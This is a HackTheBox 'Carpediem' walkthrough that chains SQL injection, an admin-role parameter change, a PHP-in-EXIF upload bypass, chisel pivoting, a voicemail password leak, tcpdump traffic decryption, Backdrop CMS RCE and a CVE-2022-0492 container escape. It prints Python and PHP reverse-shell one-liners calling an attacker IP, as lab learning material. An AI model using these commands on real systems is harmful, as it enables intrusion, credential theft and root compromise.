# HackThBox - Carpediem ## NMAP ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Comming Soon Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` ## PORT 80 (HTTP) Port 80 shows a single page showing a domain name `carpediem.htb`, so let's add this to `hosts` file Running a `diresearch` to fuzz for files and directories It didn't showed any interesting files so moving to fuzz for subdomain `wfuzz` ```bash wfuzz -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://carpediem.htb' -H "Host: FUZZ.carpediem.htb" --hh 2875 ``` Fuzzing for files on this subdomain ```bash python3 /opt/dirsearch/dirsearch.py -u 'http://portal.carpediem.htb/' -w /opt/SecLists/Discovery/Web-Content/common.txt ``` On visiting any page we can see a GET parameter `s` having a hash value of something Play around for SQLi it does show that it's vulnerable Now dumping the tables Database didn't had anythting special other than admin hash which I wasn't able to crack Check the directories diresarch found for us Most of them were forbidden except for `/admin`, I tried sqli on login page as well but it doesn't seem that there was sqli there Although we can create an account so let's where will it take us We can update account details On intercepting the request we can see a POST parameter `login_type` having value set to `2` I changed it to `1` This page was also vulnerale to sqli But now we can access admin panel by changing the login type to 1 which is the admin role Visting the user profile we can upload an image file as user avatar Uploading a regular jpeg file it will load the image On uploading php file having system command it won't allow uploading php files and will keep the previous uploaded image ## Foothold I tried changing the extension name to `.php.jpeg` and `.jpeg.php` but neither of them worked, so I used `exiftool` to add the php code in the `comment` of the image and changed the image extension to php ```bash exiftool -Comment='' ./image.jpeg ``` On uploading this php file we'll see that it got uploaded, we can execute this php by checking the source code for the image file name and directory from where it's being loaded Using the python3 one liner reverse shell ```bash python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.24",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' ``` We can now stabilize the shell with python3 From classes folder we can find the mysql credentials which maybe useful later Transerring the nmap static binary we can scan for other docker containers if there are any To access the services running on these containers we can start a socks proxy server to pivot into these services using `chisel` On attacker machine ```bash chisel server -p 8000 --reverse ``` On target machine ```bash chisel client 10.10.14.32:8000 R:127.0.0.1:socks ``` Make sure to include this line in in `/etc/proxychains.conf` ``` socks5 127.0.0.1 1080 ``` After seting this we can access the service running on other containers with `proxychains` But we already had dumped the database through sqli, so next we can look at the ftp servcie which was running on 172.17.0.2, we can check if anonmyous user is allowed to login On listing files it shows an error To avoid this we can change the mode to passive mode which uses an unprivileged port (port > 1024) to be opened on the server But still it doesn't show anything, moving onto 172.17.0.4 on which port 27017 is running which is used for mongodb All the databaes were empty other than `trudesk` We can get some credentials from `accounts table` with `db.accounts.find()` ## Privilege Escalation (hflaccus) From `tickets` table we can read some messages which talks about Security risks of portal to disable admin section portal, changing a username, setting credentails for a new employee , building a cms which is hosted in a container and lastly to fix trudesk api permissions On googling trudesk, it's an opensource ticketing solution, checking the trudesk api installation page we can see that by default it listens on port 8118 To access this port on browser we can configure firefox with foxyproxy to use socks But we don't have the credentials for login, we saw from the tickets table that a `Zoiper` VoIP is being set for the new employee `Horace Flaccus` Checking the port used by Zoiper In order to interact with this we need to download the client https://www.zoiper.com/en/voip-softphone/download/current After installing it we'll be presented with a login screen We can login with `9650` as the username and `2022` as the password Now we need to dial `*62` to listen to our voicemail After dailing the number, it's going to ask us to enter the password which is again `2022` after that, hit `1` to listen for the message which will tell the password for horace flaccus`AuRj4pxq9qPk` Since hflaccus wasn't in the database for trudesk, I tried logging with ssh Checking `sudo -l` to see if we can run anything as other user or as root Next checking for any capabilites it found that capabilites are set on `tcpdump` So using tcpdump we can capture traffic on `docker0` interface and save it into a pcap file ```bash tcpdump -i docker0 -w uwu.pcap ``` We can transfer this file by running python server on traget machine Opening this file with `wireshark` we can see https traffic to `backdrop.carpediem` This shows all the traffic is encrypted, if we remeber there was https running on container 172.17.0.2 But here we need creds so we do need to find the credentials and for that we need to somhow to decrypt the https traffic, we can look for a `.key` file with `find` We can add the key by going into `preferences` -> `protocols` -> `TLS` And now we can see the http traffic Getting the credentials we can login on backdrop cms We can get remote code execution by installing a malicious module, either creating one by analyzing how the module is structutred or just grabbing one from github https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS Start a netcat listener with proxychains, as python and python3 both weren't available we can utilize php to get a reverse shell ```php php -r '$sock=fsockopen("10.10.14.24",2222);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);' ``` We can stabilize the shell with `script` instead of `python` with ```bash script /dev/null -c bash ``` From the running processes we can see `heartbeat.sh` being executed as root In the script, `backdrop.sh` which is being used for making a request to backdrop through command line to the url which will execute `index.php` , so we need to replace that file with our php command ```php ``` Just replace the index.php file with this ## Privilege Escalation (root) We got root on the container, to get root on the actual host we need to break out of the container I edited the shadow file to add a password for root user so I could get an even more better shell For breaking out of the container a recent docker escape vulnerability was found related to cgroups dubbed as `CVE-2022-0492` https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/ There's a test script for this cve if we can breakout of container https://raw.githubusercontent.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492/main/can-ctr-escape-cve-2022-0492.sh For exploiting it, I found a script on github https://github.com/chenaotian/CVE-2022-0492 We can run this exploit by executing commands on the actual host machine To get a root shell, just make bash a SUID ##
